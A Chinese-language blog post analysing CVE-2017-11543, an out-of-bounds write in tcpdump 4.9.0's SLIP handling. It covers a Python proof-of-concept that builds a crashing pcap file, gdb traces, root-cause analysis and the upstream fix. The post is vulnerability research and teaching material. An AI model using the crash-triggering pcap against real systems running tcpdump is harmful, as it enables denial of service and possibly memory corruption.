最近觉得打比赛打多了,想分析一些实际的漏洞,于是挑了一个易上手的和 tcpdump
有关的 CVE-2017-11543 来分析,参考资料都放在最后了。
Overview
1
2
3
4
5
6
7
8
|
- CVE-2017-11543 (arbitrary code execution)
An out-of-bounds write vulnerability was discovered in tcpdump's
handling of LINKTYPE_SLIP in the sliplink_print function in print-sl.c.
An attacker could craft a malicious pcap file or send specially crafted
packets to the network that would cause tcpdump to crash or possibly
execute arbitrary code when attempting to print a summary of the packet
data. |
这是一个在 4.9.0
版本的 tcpdump
中出现的栈溢出漏洞,漏洞出现在 sliplink_print()
函数(print-sl.c
)中,效果是可以造成 crash
或者 arbitrary code execution
。
这个漏洞是通过 AFL 发现的。
Background
tcpdump
是一个运行在 CLI 下的嗅探工具,它允许用户拦截和显示发送或收到过网络连接到该计算机的 TCP/IP 和其他数据包。用户必须拥有 超级用户权限 方可使用 tcpdump
。和 wireshark 的语法相同,在服务器端多使用 tcpdump,在客户端多使用 wireshark。
其基本用法有:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
~ tldr tcpdump
tcpdump
Dump traffic on a network.
- List available network interfaces:
tcpdump -D
- Capture the traffic of a specific interface:
tcpdump -i eth0
- Capture all TCP traffic showing contents (ASCII) in console:
tcpdump -A tcp
- Capture the traffic from or to a host:
tcpdump host www.example.com
- Capture the traffic from a specific interface, source, destination and destination port:
tcpdump -i eth0 src 192.168.1.1 and dst 192.168.1.2 and dst port 80
- Capture the traffic of a network:
tcpdump net 192.168.1.0/24
- Capture all traffic except traffic over port 22 and save to a dump file:
tcpdump -w dumpfile.pcap not port 22
- Read from a given dump file:
tcpdump -r dumpfile.pcap
|
漏洞复现
环境 |
docker |
ubuntu:16.04 |
编辑器 |
vim |
ctags |
主要参考了 CTF-all-in-one,细节部分做了一些优化。
install tcpdump==4.9.0
首先安装 dev 版本的 libpcap:
1
2
3
4
5
6
7
8
9
10
11
|
# apt-get update
# apt-get install libpcap-dev
# dpkg -l libpcap-dev
root@7fe409e06b06:~# dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-=================================
ii libpcap-dev 1.7.4-2 all development library for libpcap (
|
编译 tcpdump(v 4.9.0)
1
2
3
4
|
# apt-get install wget gcc make vim python gdb git sudo
# wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
# tar xzf ./tcpdump-4.9.0.tar.gz
# ./configure
|
执行 configure
会生成 Makefile
。
为了后边调试的方便,修改一下 Makefile,CFLAGS 改为 -g -O0 -no-pie
1
|
CFLAGS = -g -O0 -no-pie
|
然后 make
即可在源码目录下生成二进制文件。
1
2
3
4
5
|
# make
root@7fe409e06b06:~/tcpdump-tcpdump-4.9.0# ./tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4
|
Segment Fault
使用如下的 poc 即可出发漏洞产生 Segment Fault
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
root@7fe409e06b06:~# cat poc.py
import os
def sigsegv():
buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
with open("slip-bad-direction.pcap", "wb") as f:
f.write(buf)
cmd = './tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap'
os.system(cmd)
if __name__ == "__main__":
sigsegv()
root@7fe409e06b06:~# python poc.py
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)
Segmentation fault (core dumped)
root@7fe409e06b06:~# file slip-bad-direction.pcap
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)
|
如此便触发了栈溢出漏洞引发了 crash。
或者可以按照 CTF-all-in-one 的做法,修改 Makefile,gcc 的参数添加 -fsanitize=address
,以开启内存检测功能。
Address Sanitizer 是自 gcc 4.8 以后添加的一个检测内存访问错误的工具,由 google 开发。
漏洞分析
pcap 文件格式
首先我们需要对 pcap 的文件格式有一个了解。
主要参考了 https://www.zybuluo.com/natsumi/note/80231
总体结构是 global header
后跟着几条捕获数据包的记录:
其中 global header 的结构具体如下(Source Code),共 24 个字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
typedef struct pcap_hdr_s
{
/*! Magic number - 0xa1b2c3d4 means no swap needed,
* 0xd4c3b2a1 means we'll need to swap.
*/
uint32_t magic_number;
/*! Major version number (currently 2) */
uint16_t version_major;
/*! Minor version number (4 + ) */
uint16_t version_minor;
/*! GMT to local-time correction, in s */
int32_t thiszone;
/*! Accuracy of timestamps. In practice, always 0 */
uint32_t sigfigs;
/*! Snapshot length (typically 65535 + but might be limited) */
uint32_t snaplen;
/* These are network types - equivalent to WTAP_ENCAP_XXX in
* libpcap.c . We only care about a few ..
*/
#define PCAP_NETWORK_TYPE_NONE 0
#define PCAP_NETWORK_TYPE_ETHERNET 1
/*! Network type: Ethernet = 1 .. */
uint32_t network;
} pcap_hdr_t;
|
magic_number:
4 bytes,用来识别文件格式本身和字节顺序。分三种情况:
- 0xa1b2c3d4: 按照程序字节序的方式写入。
- 0xd4c3b2a1: 表示后边所有的字段都要进行字节序反转。
- 0xa1b23c4d: 文件为纳秒精度。
version_major, version_minor:
各 2 bytes,文件格式的版本号,目前最新的版本为 2.4。
即常见的 pcap 包中,version_major 为 0x0002,version_minor 为 0x0004。
thiszone :
4 bytes,GMT (UTC) 和后面 packet header 的时间戳所用的时区的时间差(单位:秒)。 实际上,时间戳用的一般都是 GMT 时间, 所以 thiszone 一般都设为 0。
sigfigs :
4 bytes,时间戳的精度, 一般也设置为0。
snaplen :
4 bytes,每个数据包的最大存储长度(该值设置所抓获的数据包的最大长度,如果所有数据包都要抓获,将该值设置为 65535; 例如想获取数据包的前 64 字节,可将该值设置为 64)
network :
4 bytes,链路类型,例如为 1 时代表为以太网,8 时代表为 SLIP,完整的对应关系 戳这
我们看一下生成 pcap 的 global_header,这里用的是 010editor 的 pcap template。
Name |
Value |
Start |
Size |
struct PCAPHEADER header |
|
0h |
18h |
uint32 magic_number |
A1B2C3D4h |
0h |
4h |
uint16 version_major |
2 |
4h |
2h |
uint16 version_minor |
4 |
6h |
2h |
int32 thiszone |
0 |
8h |
4h |
uint32 sigfigs |
0 |
Ch |
4h |
uint32 snaplen |
40000h |
10h |
4h |
uint32 network |
8 |
14h |
4h |
其中 network == 8,即链路类型为 SLIP,
Packet Header 的源码如下(Source Code),共 16 个字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
typedef struct pcaprec_hdr_s
{
/*! Timestamp seconds */
uint32_t ts_sec;
/*! Timetamp uS */
uint32_t ts_usec;
/*! Number of octets saved after the header */
uint32_t incl_len;
/*! Original packet length */
uint32_t orig_len;
} pcaprec_hdr_t;
|
ts_sec :
4 bytes,时间戳高位,精确到 seconds(值是自从 January 1, 1970 00:00:00 GMT以来的秒数来记),其实就是 *nix 的time_t,可以用 ANSI C time.h 中的 time() 函数来获取这个值。如果时间戳不是基于 GMT 的,需调整 global header 中的 thiszone
ts_usec :
4 bytes,时间戳低位。一般的 pcap 文件中,精确到 microseconds(数据包被捕获时候的微秒数,是自 ts-sec 的偏移量)
在纳秒精度的文件中,这个字段是数据包被捕获时候的纳秒数
注意:这个字段的值不能大于 1 秒
incl_len :
4 bytes,捕获且存储在 PCAP 文件中的数据包长度
其实就是 min[orig_len, snaplen]
orig_len :
4 bytes,这个数据包在网络中的原始长度。
poc 中对应的数据为
Name |
Value |
Start |
Size |
time_t ts_sec |
02/16/2017 14:23:50 |
18h |
4h |
uint32 ts_usec |
7BDF8h |
1Ch |
4h |
uint32 incl_len |
27h |
20h |
4h |
uint32 orig_len |
E7E7E736h |
24h |
4h |
Packet Data
Packet(链路层的数据帧) 的具体内容,其长度即为 incl_len。
链路层类型为 08
,即 SLIP。SLIP 包的结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
+-------------------------+
| Direction |
| (1 Octet) |
+-------------------------+
| Packet type |
| (1 Octet) |
+-------------------------+
| Compression information |
| (14 Octets) |
+-------------------------+
| Payload |
. .
. .
. . |
则在此 poc 中,direction 即为 0xe7
代码定位
直接上 gdb,编译时加了 -g
参数,很容易就能定位到 crash 的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
root@7fe409e06b06:~# gdb ./tcpdump-tcpdump-4.9.0/tcpdump -q
pwndbg: loaded 164 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./tcpdump-tcpdump-4.9.0/tcpdump...done.
pwndbg> r -e -r ./slip-bad-direction.pcap
Starting program: /root/tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)
Program received signal SIGSEGV, Segmentation fault.
0x00000000004affb9 in compressed_sl_print (ndo=0x7fffffffd420, chdr=0x7ffff7fad011 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886, dir=231) at ./print-sl.c:253
253 lastlen[dir][lastconn] = length - (hlen << 2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
RAX 0xe7e7
RBX 0x7ffff7fad019 ◂— 0xe7e7e7e7e7e7e7e7
RCX 0xe7
RDX 0xe7e7e70a
RDI 0x7ffff7b90620 (_IO_2_1_stdout_) ◂— 0xfbad2a84
RSI 0x0
R8 0x0
R9 0x6
R10 0x0
R11 0xfffffffffffffffe
R12 0x7
R13 0xe7e7e726
R14 0xffffffff
R15 0x4062df (print_packet) ◂— push rbp
RBP 0x7fffffffd170 —▸ 0x7fffffffd1c0 —▸ 0x7fffffffd210 —▸ 0x7fffffffd250 ◂— 0x7fffffffd280
RSP 0x7fffffffd140 ◂— 0xe7e7e726000000e7
RIP 0x4affb9 (compressed_sl_print+534) ◂— mov dword ptr [rax*4 + 0x877380], edx
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
► 0x4affb9 <compressed_sl_print+534> mov dword ptr [rax*4 + 0x877380], edx
0x4affc0 <compressed_sl_print+541> mov rax, qword ptr [rbp - 0x18]
0x4affc4 <compressed_sl_print+545> mov r8, qword ptr [rax + 0x98]
0x4affcb <compressed_sl_print+552> mov rdx, rbx
0x4affce <compressed_sl_print+555> mov rax, qword ptr [rbp - 0x20]
0x4affd2 <compressed_sl_print+559> mov rcx, rdx
0x4affd5 <compressed_sl_print+562> sub rcx, rax
0x4affd8 <compressed_sl_print+565> mov eax, dword ptr [rip + 0x281c12] <0x731bf0>
0x4affde <compressed_sl_print+571> mov edx, eax
0x4affe0 <compressed_sl_print+573> mov eax, dword ptr [rbp - 0x30]
0x4affe3 <compressed_sl_print+576> cdqe
────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────
248 * 'cp - chdr' is the length of the compressed header.
249 * 'length - hlen' is the amount of data in the packet.
250 */
251 hlen = IP_HL(ip);
252 hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
► 253 lastlen[dir][lastconn] = length - (hlen << 2);
254 ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
255 }
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd140 ◂— 0xe7e7e726000000e7
01:0008│ 0x7fffffffd148 —▸ 0x7ffff7fad020 ◂— 0xcae7e7e7e7e7e7
02:0010│ 0x7fffffffd150 —▸ 0x7ffff7fad011 ◂— 0xe7e7e7e7e7e7e7e7
03:0018│ 0x7fffffffd158 —▸ 0x7fffffffd420 ◂— 0x100000000
04:0020│ 0x7fffffffd160 —▸ 0x7ffff7fad010 ◂— 0xe7e7e7e7e7e7e7e7
05:0028│ 0x7fffffffd168 —▸ 0x7ffff7fad020 ◂— 0xcae7e7e7e7e7e7
06:0030│ rbp 0x7fffffffd170 —▸ 0x7fffffffd1c0 —▸ 0x7fffffffd210 —▸ 0x7fffffffd250 ◂— 0x7fffffffd280
07:0038│ 0x7fffffffd178 —▸ 0x4afc58 (sliplink_print+435) ◂— mov rax, qword ptr [rbp - 0x38]
Program received signal SIGSEGV (fault address 0x8b131c)
pwndbg>
|
很容易看出,在 print-sl.c
的 253 行发生了地址不可读,此时的代码为 ► 253 lastlen[dir][lastconn] = length - (hlen << 2);
看一下此时各个变量的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
pwndbg> p /x dir
$1 = 0xe7
pwndbg> p /x lastconn
$2 = 0xe7
pwndbg> p /x length
$3 = 0xe7e7e726
pwndbg> p /x hlen
$4 = 0x7
pwndbg> p /x lastlen
$5 = {{0x0 <repeats 256 times>}, {0x0 <repeats 256 times>}}
pwndbg> p &lastlen
$6 = (u_int (*)[2][256]) 0x877380 <lastlen>
pwndbg> ptype dir
type = int
pwndbg> bt
#0 0x00000000004affb9 in compressed_sl_print (ndo=0x7fffffffd420, chdr=0x7ffff7fad011 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886, dir=231) at ./print-sl.c:253
#1 0x00000000004afc58 in sliplink_print (ndo=0x7fffffffd420, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886) at ./print-sl.c:166
#2 0x00000000004af97e in sl_if_print (ndo=0x7fffffffd420, h=0x7fffffffd2b0, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>...) at ./print-sl.c:77
#3 0x000000000040a57a in pretty_print_packet (ndo=0x7fffffffd420, h=0x7fffffffd2b0, sp=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., packets_captured=1) at ./print.c:339
#4 0x000000000040632b in print_packet (user=0x7fffffffd420 "", h=0x7fffffffd2b0, sp=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>...) at ./tcpdump.c:2501
#5 0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#6 0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#7 0x000000000040582e in main (argc=4, argv=0x7fffffffe6f8) at ./tcpdump.c:2004
#8 0x00007ffff77eb830 in __libc_start_main (main=0x40414f <main>, argc=4, argv=0x7fffffffe6f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6e8) at ../csu/libc-start.c:291
#9 0x0000000000402b79 in _start ()
|
这里用的 gdb plugin 是我自己修改过的 Pwngdb,就分析这个 CVE 而言,可以使用更轻量的 peda
如果不修改 CFLAGS 中的优化等级为 -O0
, 在打印变量值时会显示 <value optimized out>
,原因可以看 Reference
计算一下很容易发现此时发生地址不可读是因为 dir == 0xe7
,我们找到对应的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
205 static void
206 compressed_sl_print(netdissect_options *ndo,
207 const u_char *chdr, const struct ip *ip,
208 u_int length, int dir)
209 {
......
......
245
246 /*
247 * 'hlen' is the length of the uncompressed TCP/IP header (in words).
248 * 'cp - chdr' is the length of the compressed header.
249 * 'length - hlen' is the amount of data in the packet.
250 */
251 hlen = IP_HL(ip);
252 hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
253 lastlen[dir][lastconn] = length - (hlen << 2);
254 ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
255 }
|
可以看出 dir 是 compressed_sl_print()
的参数,而根据调试时的 backtrace,compressed_sl_print()
调用时传递的 dir 即为 0xe7(231),再继续找这个参数是何时传递的。
根据 backtrace,可以看出是在 sliplink_print()
中调用了 compressed_sl_print()
函数,查看对应的代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
125 static void
126 sliplink_print(netdissect_options *ndo,
127 register const u_char *p, register const struct ip *ip,
128 register u_int length)
129 {
130 int dir;
131 u_int hlen;
132
133 dir = p[SLX_DIR]; // bug here!!
134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
135
136 if (ndo->ndo_nflag) {
137 /* XXX just dump the header */
138 register int i;
139
140 for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
141 ND_PRINT((ndo, "%02x.", p[i]));
142 ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
143 return;
144 }
145 switch (p[SLX_CHDR] & 0xf0) {
146
147 case TYPE_IP:
148 ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
149 break;
150
151 case TYPE_UNCOMPRESSED_TCP:
152 /*
153 * The connection id is stored in the IP protocol field.
154 * Get it from the link layer since sl_uncompress_tcp()
155 * has restored the IP header copy to IPPROTO_TCP.
156 */
157 lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
158 hlen = IP_HL(ip);
159 hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
160 lastlen[dir][lastconn] = length - (hlen << 2);
161 ND_PRINT((ndo, "utcp %d: ", lastconn));
162 break;
163
164 default:
165 if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
166 compressed_sl_print(ndo, &p[SLX_CHDR], ip,
167 length, dir);
168 ND_PRINT((ndo, ": "));
169 } else
170 ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
171 }
172 }
|
可以看出,dir 是在 133 行确定的,具体的代码为
其中,p 为 sliplink_print()
的参数,且在此时 p 为 {0xe7, 0xe7, 0xe7, ...., 0xe7}
1
|
#1 0x00000000004afc58 in sliplink_print (ndo=0x7fffffffd420, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886) at ./print-sl.c:166
|
且 SLX_DIR
为一个宏定义,其值为 0
即 dir = 0xe7
而漏洞就出在接下来的 134 行了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
netdissect.h:327
#define ND_PRINT(STUFF) (*ndo->ndo_printf)STUFF
netdissect.h:148
struct netdissect_options {
......
/* pointer to function to do regular output */
int (*ndo_printf)(netdissect_options *,
const char *fmt, ...)
......
};
|
一串代码读下来,结果是通过一个函数指针把 dir 写到了 ndo 这个结构体里,而在判断 dir 类型时出了问题
1
2
3
4
5
|
dir == SLIPDIR_IN ? "I " : "O "
netdissect.h:47
#define SLIPDIR_IN 0
#define SLIPDIR_OUT 1
|
dir(0xe7) 与 SLIPDIR_IN(0) 比较,不相等,于是就把 dir 当成 SLIPDIR_OUT == 1
来处理了。但此时 dir 实际上是 0xe7。
最终执行到 253 lastlen[dir][lastconn] = length - (hlen << 2);
时,lastlen[dir][lastconn]
访问了不合法的地址,程序 crash。
漏洞修复
由上述分析,只需要保证 dir 为 0 或 1 或者其他合法值即可(后来查了一下,分别本机接受的包和本机发送的包)。
官方修复方案如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
diff --git a/print-sl.c b/print-sl.c
index 3fd7e898..a02077b3 100644
--- a/print-sl.c
+++ b/print-sl.c
@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
u_int hlen;
dir = p[SLX_DIR];
- ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+ switch (dir) {
+ case SLIPDIR_IN:
+ ND_PRINT((ndo, "I "));
+ break;
+
+ case SLIPDIR_OUT:
+ ND_PRINT((ndo, "O "));
+ break;
+
+ default:
+ ND_PRINT((ndo, "Invalid direction %d ", dir));
+ dir = -1;
+ break;
+ }
......
|
可以看出增加了一个 switch 判断,不合法的全都把 dir 设置为了 -1。
对应的 commit 为 CVE-2017-11543/Make sure the SLIP direction octet is valid.
pwn 掉 tcpdump?
网上能搜索到的漏洞分析大多数都止步于此,但漏洞描述中说,控制合理的话可以实现 arbitrary code execution,
> 未完待续
想了好几天,只想到通过数组越界写改 got,但又没有找能 leak 的地方,也许是因为打 CTF 太局限对现实漏洞的认识不够吧,如果有大佬能做到代码执行,请务必指教。
Reference and thanks to
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/7.1.1_tcpdump_2017-11543.md
https://vuldb.com/?id.104408
https://nvd.nist.gov/vuln/detail/CVE-2017-11543
https://github.com/google/sanitizers/wiki/AddressSanitizer
https://wizardforcel.gitbooks.io/100-gcc-tips/content/address-sanitizer.html
https://www.zybuluo.com/natsumi/note/80231
https://zh.wikipedia.org/wiki/串列線路網際網路協定
https://tools.ietf.org/html/rfc1055.html
https://stackoverflow.com/questions/5497855/what-does-value-optimized-out-mean-in-gdb